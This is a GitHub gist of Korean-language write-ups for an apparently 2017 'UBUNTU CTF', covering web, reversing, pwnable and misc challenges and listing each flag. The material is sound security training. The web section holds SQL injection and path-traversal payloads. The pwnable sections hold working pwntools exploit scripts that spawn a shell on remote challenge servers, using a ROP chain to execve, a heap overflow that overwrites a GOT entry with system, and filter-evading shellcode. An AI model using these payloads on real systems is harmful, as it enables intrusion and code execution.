Skip to content

Instantly share code, notes, and snippets.

@5unKn0wn
Created November 6, 2017 05:38
Show Gist options
  • Save 5unKn0wn/8913d270b45ada6940ae3d6f15b21c45 to your computer and use it in GitHub Desktop.
Save 5unKn0wn/8913d270b45ada6940ae3d6f15b21c45 to your computer and use it in GitHub Desktop.

UBUNTU CTF Write-Ups

이걸이렇게푼다라... (이태양, 임준오)

WEB - JS Counter (740)

js/func.js에 있는 자바스크립트 코드를 js unpacker로 언팩해서 코드를 보면 flag_back에 11을 xor한게 플래그라는 것을 알 수 있다.

print ''.join(chr(i ^ 11) for i in [126,112,65,120,84,66,120,84,120,58,102,123,103,56,42,42,42,118])

Js_Is_s1mpl3!!!


WEB - Read flag (900)

걍 삽질 좀 하다가 디렉토리 명이 c3d96672b6663af291893cddc3a9daa5인데 최상위로 가보니까 디렉토리 리스팅이 됐다. 거기에 플래그가 있다는 것을 깨닫고 ../flag.php 하고 소스보니까 플래그가 있었다.

i_i_iii_iiii_ii_iii_i_oii_ioiooi


WEB - I like Chicken (930)

회원가입 하고 로그인해서 보드를 보면 게시글을 읽을 수 있는데 no 파라미터에서 sqli가 터진다.
no=-1%27%20union%20select%201,2,3,4%23 해보니까 union sqli 돼서 바로 플래그 긁어왔다. information_schema에서 테이블 컬럼 긁어와서 no=-1%27%20union%20select%201,realf1ag,3,4%20from%20f1ag%23 해서 플래그 읽으면 된다.

PHP_BYPASS_injection_success!!!


WEB - I like Pizza (960)

sqli는 안되고 mysql은 a랑 그리스 문자 à를 똑같이 인식해서 foo=yelàng123 이렇게 파라미터를 넣어주면 된다.

Mysql_trick_LOL_LOL!!!


REVERSING - Angry MAN (890)

objdump로 긁어와서 파싱해서 플래그를 찾았다.

import os

os.system("objdump -M intel -d ./angry > out")

with open("out", "rb") as f:
    data = f.read()
data = data.split("\n")

flag = ""
for d in data:
    if d.find("cmp") != -1:

        if d.find("BYTE") != -1:
            flag += chr(int(d.split("0x4],")[1], 16))
        elif d.find("eax") != -1 and prev.find("mul") != -1:
            a = int(d.split("eax,")[1], 16)
            p = int(prev.split("eax,eax,")[1], 16)
            kk = a/p
            # print kk
            flag += chr(kk)
        else:
            print d
            flag += "*"
    prev = d

print flag

위 코드를 돌리면 "u*untu{w*y_you_looo*ok_soo*oo_AAANNN**GRRR*YYYY???_SsssSSsssTttttTtTTTaAa**aa*AAaaAaayyyY*YYyyYYy_CcccCaaAaallllllmmmm_down}" 이게 나오고 *에 게싱이랑 헥스레이 보고 대충 들어갈만한거 넣으면 된다.

why_you_loooook_sooooo_AAANNNGGGRRRRYYYY???_SsssSSsssTttttTtTTTaAaaAaaAAAaaAaayyyYYYYyyYYy_CcccCaaAaallllllmmmm_down


REVERSING - UnknownBox (920)

디버깅 하다 보면 중간에 PEB - IsDebugged 플래그 체크하는거 우회해주면 bmp파일 하나 복호화 하는데 거기에 키가 적혀있다.

debugger_is_so_powerful


REVERSING - Ready To GO (990)

고언어로 만들어졌다.
디버깅 하면서 전체적인 프로세스를 보면 앞부분에서 글자마다 비트로 바꿔서 막 xor조금씩 하는데 한 글자당 하나의 16바이트 배열로 바뀌므로 앞부분은 테이블을 만들어서 치환하여 값을 복호화 할 수 있다.
뒷부분은 타임스탬프 넣고 랜덤 16바이트 가져와서 위 연산 결과를 aes ecb로 암호화해서 ALPHA 파일에 저장한다.

package main

import (
	"fmt"
	"math/rand"
	"os"
	"strconv"
)

func main() {
	i, _ := strconv.Atoi(os.Args[1])
	fmt.Println(i);
	rand.Seed(int64(i)) // Try changing this number!
	fmt.Println(rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100), rand.Intn(0x100))
}

이렇게 코드 짜서 args[1]에 있는거를 씨드로 해서 랜덤값 가져오게 해서 파이썬으로 코드 짜가지고 타임스탬프 브포했다.
윈도우로 보면 수정 시간 있는데 이거로 타임스탬프를 유추할 수 있다.
그렇게 해서 최종적으로 아래와 같이 코딩하면 플래그가 나온다.

from Crypto.Cipher import AES
from pwn import *

stamp = 1493789188
enc = open("ALPHA", "rb").read()

while True:
	fail = 0
	r = process(["./main", str(stamp)])
	r.recvline()
	key = ''.join(chr(int(i)) for i in r.recvline().rstrip().split(' '))
	cipher = AES.new(key, AES.MODE_ECB)
	dec = cipher.decrypt(enc)
	r.close()
	for i in dec:
		if i != "\x00" and i != "\x01":
			fail = 1
			break
	if fail == 0:
		break
	fail = 0
	stamp += 1

table = ['00000100010000000000000101000101', '00000100010000000000000100010000', '00000100010000000000010000010101', '00000100010000000000010001000000', '00000100010000000101010001000101', '00000100010000000101010000010000', '00000100010000000101000100010101', '00000100010000000101000101000000', '00000100010001010101000101000101', '00000100010001010101000100010000', '01010001000101010000000100010000', '01010001000101010000010000010101', '01010001000101010000010001000000', '01010001000101010101010001000101', '01010001000101010101010000010000', '01010001000101010101000100010101', '01010001000101010101000101000000', '01010001000100000101000101000101', '01010001000100000101000100010000', '01010001000100000101010000010101', '01010001000100000101010001000000', '01010001000100000000010001000101', '01010001000100000000010000010000', '01010001000100000000000100010101', '01010001000100000000000101000000', '01010001010000000000000101000101', '01010001010000000000000100010000', '01010001010000000000010000010101', '01010001010000000000010001000000', '01010001010000000101010001000101', '01010001010000000101010000010000', '01010001010000000101000100010101', '01010001010000000101000101000000', '01010001010001010101000101000101', '01010001010001010101000100010000', '01010001010001010101010000010101', '01010100010001010000000100010000', '01010100010001010000010000010101', '01010100010001010000010001000000', '01010100010001010101010001000101', '01010100010001010101010000010000', '01010100010001010101000100010101', '01010100010001010101000101000000', '01010100010000000101000101000101', '01010100010000000101000100010000', '01010100010000000101010000010101', '01010100010000000101010001000000', '01010100010000000000010001000101', '01010100010000000000010000010000', '01010100010000000000000100010101', '01010100010000000000000101000000', '01010100000100000000000101000101', '01010100000100000000000100010000', '01010100000100000000010000010101', '01010100000100000000010001000000', '01010100000100000101010001000101', '01010100000100000101010000010000', '01010100000100000101000100010101', '01010100000100000101000101000000', '01010100000101010101000101000101', '01010100000101010101000100010000', '01010100000101010101010000010101', '00000100000101010000000100010000', '00000100000101010000010000010101', '00000100000101010000010001000000', '00000100000101010101010001000101', '00000100000101010101010000010000', '00000100000101010101000100010101', '00000100000101010101000101000000', '00000100000100000101000101000101', '00000100000100000101000100010000', '00000100000100000101010000010101', '00000100000100000101010001000000', '00000100000100000000010001000101', '00000100000100000000010000010000', '00000100000100000000000100010101', '00000100000100000000000101000000', '00000100010001010101010000010101', '00000100010001010101010001000000', '00000100010001010000010001000101', '00000100010001010000010000010000', '00000100010001010000000100010101', '00000100010001010000000101000000', '01010100010001010000000101000101', '01010100000101010101010001000000', '01010100000101010000010001000101', '01010100000101010000010000010000', '01010100000101010000000100010101', '01010100000101010000000101000000', '01010001000101010000000101000101', '01010001010001010101010001000000', '01010001010001010000010001000101', '01010001010001010000010000010000', '01010001010001010000000100010101', '00000001010000000101010000010101']
chr_table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "
enc = dec.encode('hex')
dec = ""

for i in range(0, len(enc), 32):
	for j in range(len(table)):
		if enc[i:i + 32] == table[j]:
			dec += chr_table[j]
			break

print dec

I_am_already_going,_do_not_hurry.


PWNABLE - small (950)

read로 bss에 /bin/sh랑 페이크 스택 만들어두고 ebp를 bss로 바꾼 후 레지스터 /bin/sh execve에 맞게 설정하고 다시 syscall 호출하는 부분으로 뛰었다.

from pwn import *

r = remote("52.78.202.173", 20001)
# r = process("./small")

payload = 'A' * 12
payload += p32(0x080483FB)	# read
payload += p32(0x08048413)	# pppr
payload += p32(0)
payload += p32(0x0804A028)	# bss
payload += p32(21)
payload += p32(0x080483FB)	# read
payload += p32(0x08048413)	# pppr
payload += p32(0)
payload += p32(0x0804A018)	# bss
payload += p32(20)
payload += p32(0x08048415)	# pop ebp
payload += p32(0x0804A028)
payload += p32(0x8048406)	# read
payload += p32(1)
payload += p32(0x0804A018)	# bss
payload += p32(0x0804A038)	# bss
payload += p32(0)

r.sendline(payload)
sleep(0.5)
r.sendline("AAAAAAAA" + p32(0x0804A018) + p32(0x0804A068) + p32(0))
sleep(0.5)
r.sendline("///bin/sh\x00")

r.interactive()

fs, i wanna more tinier chall :)


PWNABLE - I_hate_heap (970)

alloc을 할 때 힙 공간에서 뒤에 공간이 사용되고 있는지를 확인하지 않는다.
그래서 다음 청크를 덮을 수 있고 사이즈 부분을 조작해서 다음 alloc을 할 때 사이즈 값을 힙 배열에 쓰게 했다.
그렇게 atoi got를 써서 립씨 릭하고 다시 system으로 덮어서 쉘을 딸 수 있다.

from pwn import *

r = remote("52.78.202.173", 31333)

r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "8")

r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "8")

r.sendlineafter(">>> ", "2")
r.sendlineafter(": ", "0")

r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "128")

r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "0")

r.sendlineafter(": ", "A" * 128)

r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "1")

payload = 'A' * 0x70
payload += p32(0xfffffd80)
payload += p32(1)

r.sendlineafter(": ", payload)

r.sendlineafter(">>> ", "1")
r.sendlineafter(": ", "134525052")

r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "2")
r.sendlineafter(": ", p32(0x0804B030))

r.sendlineafter(">>> ", "4")
r.sendlineafter(": ", "1")

libc_base = u32(r.recv(4)) - 0x0002D050
system = libc_base + 0x0003A940

r.sendlineafter(">>> ", "3")
r.sendlineafter(": ", "1")
r.sendlineafter(": ", p32(system))

r.sendlineafter(">>> ", "/bin/sh;")

r.interactive()

I was wrong… I need to fix my code :(


sc (990)

몇가지 필터링에 걸리지 않으면 쉘코드를 실행시켜준다.
x86 int 0x80이 막혀있으므로 x64로 전환해서 syscall을 호출하면 된다.

from pwn import *

r = remote("52.78.202.173", 12341)

sleep(10)
sc = """
jmp cspush
goto64:
    pop edi
    sub esp, 4
    inc edi
    inc edi
    retf
cspush:
    mov al, 0x3b
    push 0x33
    call goto64
x64code:
.code64
    push rbx
    mov rbx, 0x68732f6e69622f2f
    push rbx
    xor ecx, ecx
    push rsp
	pop rdi
    syscall
"""

sc = asm(sc)
r.sendlineafter("shellcode: ", sc)

r.interactive()

I dont care about architecture!


hackers_typer (1000)

x64 레지스터 R 프리픽스 확장할 때 쓰이는 0x48을 필터링하고 개행, 널문자를 필터링한다.
그냥 0x48 쓰이는 것들을 적당히 push pop 같은거로 우회해서 하면 된다.

from pwn import *

context.arch = "amd64"
r = remote("52.78.24.240", 9623)
sc = """
push r14
pop rax
push r14
pop rdi
push rsp
pop rsi
push r14
pop rdx
xor dl, 0x50
syscall
push r14
pop rax
xor al, 2
push rsp
pop rdi
push r14
pop rsi
push r14
pop rdx
syscall
push r14
pop rax
push r14
pop rdi
xor di, 3
push rsp
pop rsi
push rdi
pop rdx
add dl, 0x50
syscall
push r14
pop rax
xor al, 1
push r14
pop rdi
xor di, 1
push rsp
pop rsi
push rdi
pop rdx
add dl, 0x50
syscall
"""

sc = asm(sc)
r.sendlineafter("Typer\n", sc)
r.sendline("/home/hackers_typer/flag\x00")
r.interactive()

I_think_that_you_are_good_at_shellcoding


MISC - introduce (450)

dlrpqkfhvmfform


MISC - OpenMe (720)

azpr로 브포 범위 설정해놓고 하나하나 zip파일 까다보니까 플래그가 나왔다.

3ncrypt3d_zip_fil3_i5_fun_t0_s0lv3

MISC - How to r3c0v3ry? (830)

파일 헥스로 보면 PNG 푸터가 거꾸로 있다. 파일을 거꾸로 돌려서 PNG헤더를 넣어주면 플래그가 나온다.

y0u_c4n_d0_1mage_r3cov3ry!!!

MISC - thumb (900)

strncmp는 중간에 null이 있으면 거기까지만 비교를 하기 때문에 urandom의 맨 앞에 null이 나올 때까지 브포 때렸다.

from pwn import *

while True:
	try:
		r = remote("52.78.202.173", 10001)
		r.sendlineafter("me?", "\x00"*20)
		data = r.recvall()
		if "ubuntu{" in data:
			print data
			break
	except:
		pass

yeah, we hate guessing

MISC - MakeMe (910)

flag.txt를 열어보면 뭔가 rgb 데이터가 들어있는거 생겼다.
전체 튜플 데이터의 개수가 121783인데 소인수분해 하면 193 * 631이므로 193 * 631크기의 사진 파일이라 가정하고 픽셀로 찍어봤더니 플래그가 나왔다.

from PIL import Image

l = [eval(i) for i in open("flag.txt", "rt").read().split('\r\n')]
cnt = 0
im = Image.new("RGB", (193, 631))

for i in range(193):
	for j in range(631):
		im.putpixel((i, j), l[cnt])
		cnt += 1

im.save("flag.png")

d0t5_94th3r3d_4nd_50m3thin9_c4m3_0ut

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment